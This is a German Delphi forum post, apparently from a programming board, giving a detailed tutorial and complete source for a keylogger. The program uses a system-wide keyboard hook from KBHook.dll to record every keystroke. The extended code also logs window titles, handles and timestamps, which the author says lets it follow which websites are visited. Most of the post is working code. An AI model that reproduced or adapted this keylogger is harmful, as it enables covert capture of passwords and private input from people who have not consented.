@ Meflin:
Nimm mir das bitte nicht über, aber wir sind soooooo doooof!
Wir arbeiten schon mit dem ApplicationEvent-Manager und wundern uns nur, dass wir neben dem, was wir eigentlich kriegen wollen, auch noch jede Menge Müll kriegen! Aber das Richtige ist doch auch dabei!
@ Luckie:
Warum redest du die ganze Zeit davon, dass wir die WndProc abfangen sollen? Warum so kompliziert?
Eine einfache Erweiterung von Meflin's Prozedur tut's auch:
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean);
begin
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
end;
end;
So, jetzt einmal eine genaue Anleitung für alle, die noch nicht wissen, was sie machen sollen:
Erstellt euch zunächst eine einfache Anwendung mit einem
Unit. Auf dem Formular erstellt ihr anschließend ein Memo-Feld mit dem Namen Memo1.
Geht der Eigenschaft Scrollbars den Wert ssVertical und achtet darauf, dass die Eigenschaft WordWrap auf True gesetzt ist.
Nun beginnt der Teil, der letztendlich die Keys in das Memo-Feld befördert:
Speichert das Projekt in einem Ordner und kopiert die Dateu KBHook.dll (welche in Luckie's Source enthalten ist) mit in diesen Ordner.
In Delphi folgen ein paar Klicks auf "Projekt" und "Quelltext anzeigen". Im jetzt angezeigten Programmquelltext müssen verschiedene Zeilen hinzugefügt werden:
Zu "uses" muss windows und messages hinzugefügt werden.
Außerdem müssen darunter zwei Funktionen, die den Hook installieren und deinstallieren, deklariert werden:
Delphi-Quellcode:
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
Zur Installation und Deinstallation wird jetzt direkt unter begin die Zeile
CreateHook(Application.Handle,true);
und über end die Zeile
DeleteHook;
eingefügt.
Der fertige Code sieht dann etwa so aus (die Kommentare kennzeichnen die Teile, die für den eigentlichen Hook wichtig sind):
Delphi-Quellcode:
program Project2;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1}, {Begin KeyHook}windows, messages{End KeyHook};
// Begin KeyHook
function CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall; external 'KBHook.dll';
function DeleteHook: Boolean; stdcall; external 'KBHook.dll';
// End KeyHook
{$R *.res}
begin
CreateHook(Application.Handle,true);
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
DeleteHook;
end.
Nun zur
Unit:
Zuerst einmal muss aus der Registerkarte "Zusätzlich" die Komponente "ApplicationEvents" hinzugefügt werden.
Erstellt die Prozedur für das "OnMessage"-Ereignis und fügt folgenden Code hinzu:
Delphi-Quellcode:
Case Msg.message of
WM_KEYBOARD_HOOK : memo1.Text := memo1.Text + Char(Msg.wParam);
end;
Dieser Code fügt jetzt einfach die Eingaben dem Memo-Feld hinzu.
Da das natürlich noch nicht sehr viele Infos birgt, sollte man einen etwas reichhaltigeren Code verwenden:
Zunächst müssen zwei normale Variablen deklariert werden:
Delphi-Quellcode:
Fenster_alt : longword;
Fenster_altstr : string;
Anschließend bekommt dann die OnMessage-Prozedur folgenden Code:
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
var Handled: Boolean);
var
FensterText : array[0..255] of Char;
rem : string;
begin
Case Msg.message of
WM_KEYBOARD_HOOK :
begin
GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
If Fenster_alt <> Msg.lParam
then begin
If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
Fenster_alt := Msg.lParam;
Fenster_altstr := FensterText;
end
else If Fenster_altstr <> Fenstertext
then begin
If Fenster_alt = 0 then memo1.Text := memo1.Text +'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10
else memo1.Text := memo1.Text + #13#10#13#10+'['+FensterText+'] ['+IntToStr(Msg.lParam)+'] '+DateToStr(Date)+' '+TimeToStr(Time)+#13#10;
Fenster_alt := Msg.lParam;
Fenster_altstr := Fenstertext;
end;
If Msg.wParam = VK_RETURN then memo1.Text := memo1.Text + #13#10
else If Msg.wParam = VK_BACK
then begin
rem := memo1.text;
If length(rem) > 0 then delete(rem,length(rem)-1,1);
memo1.Text := rem;
end
else memo1.Text := memo1.Text + Char(Msg.wParam);
end;
end;
end;
Und das war es auch schon. Jetzt werden zusätzlich noch der Fenstertext, das
Handle, das Datum und die Uhrzeit geloggt.
Diese Infos werden immer dann "aufgeschrieben", wenn sich entweder der Fenstertext ändert (zum Beipiel beim Browsen im Web) oder das
Handle (neues Fenster, evtl. sogar mit gleichem Text).
Es ist also wichtig, dass sowohl
Handle als auch Text geloggt werden, da sich oft nur eines ändert, es dennoch aber wichtig ist, wenn sich z.B. die Website ändert oder das Fenster ein anderes ist, das vielleicht aber zufällig die gleiche Website beinhaltet!
Hier noch der fertige Code der
Unit:
Delphi-Quellcode:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, AppEvnts;
type
TForm1 =
class(TForm)
Memo1: TMemo;
ApplicationEvents1: TApplicationEvents;
procedure ApplicationEvents1Message(
var Msg: tagMSG;
var Handled: Boolean);
private
// Begin KeyHook
Fenster_alt : longword;
Fenster_altstr :
string;
// End KeyHook
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
// Begin KeyHook
const
WM_KEYBOARD_HOOK = WM_USER + 52012;
// End KeyHook
implementation
{$R *.dfm}
// Begin KeyHook
procedure TForm1.ApplicationEvents1Message(
var Msg: tagMSG;
var Handled: Boolean);
var
FensterText :
array[0..255]
of Char;
rem :
string;
begin
Case Msg.
message of
WM_KEYBOARD_HOOK :
begin
GetWindowText(Msg.lParam,@FensterText,SizeOf(FensterText));
If Fenster_alt <> Msg.lParam
then begin
If Fenster_alt = 0
then memo1.Text := memo1.Text +'
['+FensterText+'
] ['+IntToStr(Msg.lParam)+'
] '+DateToStr(Date)+'
'+TimeToStr(Time)+#13#10
else memo1.Text := memo1.Text + #13#10#13#10+'
['+FensterText+'
] ['+IntToStr(Msg.lParam)+'
] '+DateToStr(Date)+'
'+TimeToStr(Time)+#13#10;
Fenster_alt := Msg.lParam;
Fenster_altstr := FensterText;
end
else If Fenster_altstr <> Fenstertext
then begin
If Fenster_alt = 0
then memo1.Text := memo1.Text +'
['+FensterText+'
] ['+IntToStr(Msg.lParam)+'
] '+DateToStr(Date)+'
'+TimeToStr(Time)+#13#10
else memo1.Text := memo1.Text + #13#10#13#10+'
['+FensterText+'
] ['+IntToStr(Msg.lParam)+'
] '+DateToStr(Date)+'
'+TimeToStr(Time)+#13#10;
Fenster_alt := Msg.lParam;
Fenster_altstr := Fenstertext;
end;
If Msg.wParam = VK_RETURN
then memo1.Text := memo1.Text + #13#10
else If Msg.wParam = VK_BACK
then begin
rem := memo1.text;
If length(rem) > 0
then delete(rem,length(rem)-1,1);
memo1.Text := rem;
end
else memo1.Text := memo1.Text + Char(Msg.wParam);
end;
end;
end;
// End KeyHook
end.
Ich weiß, dass diese Anleitung vielleicht etwas sehr genau war, aber ich selbst hab mich schon oft über halbe Anleitungen geärgert.
Deshalb kann ich nur sagen: Wer die Anleitung zu genau findet, der muss sie ja nicht lesen!
Allen anderen wünsche ich viel Spaß. Und noch etwas: Es gibt sicherlich viel zu verbessern...
MfG.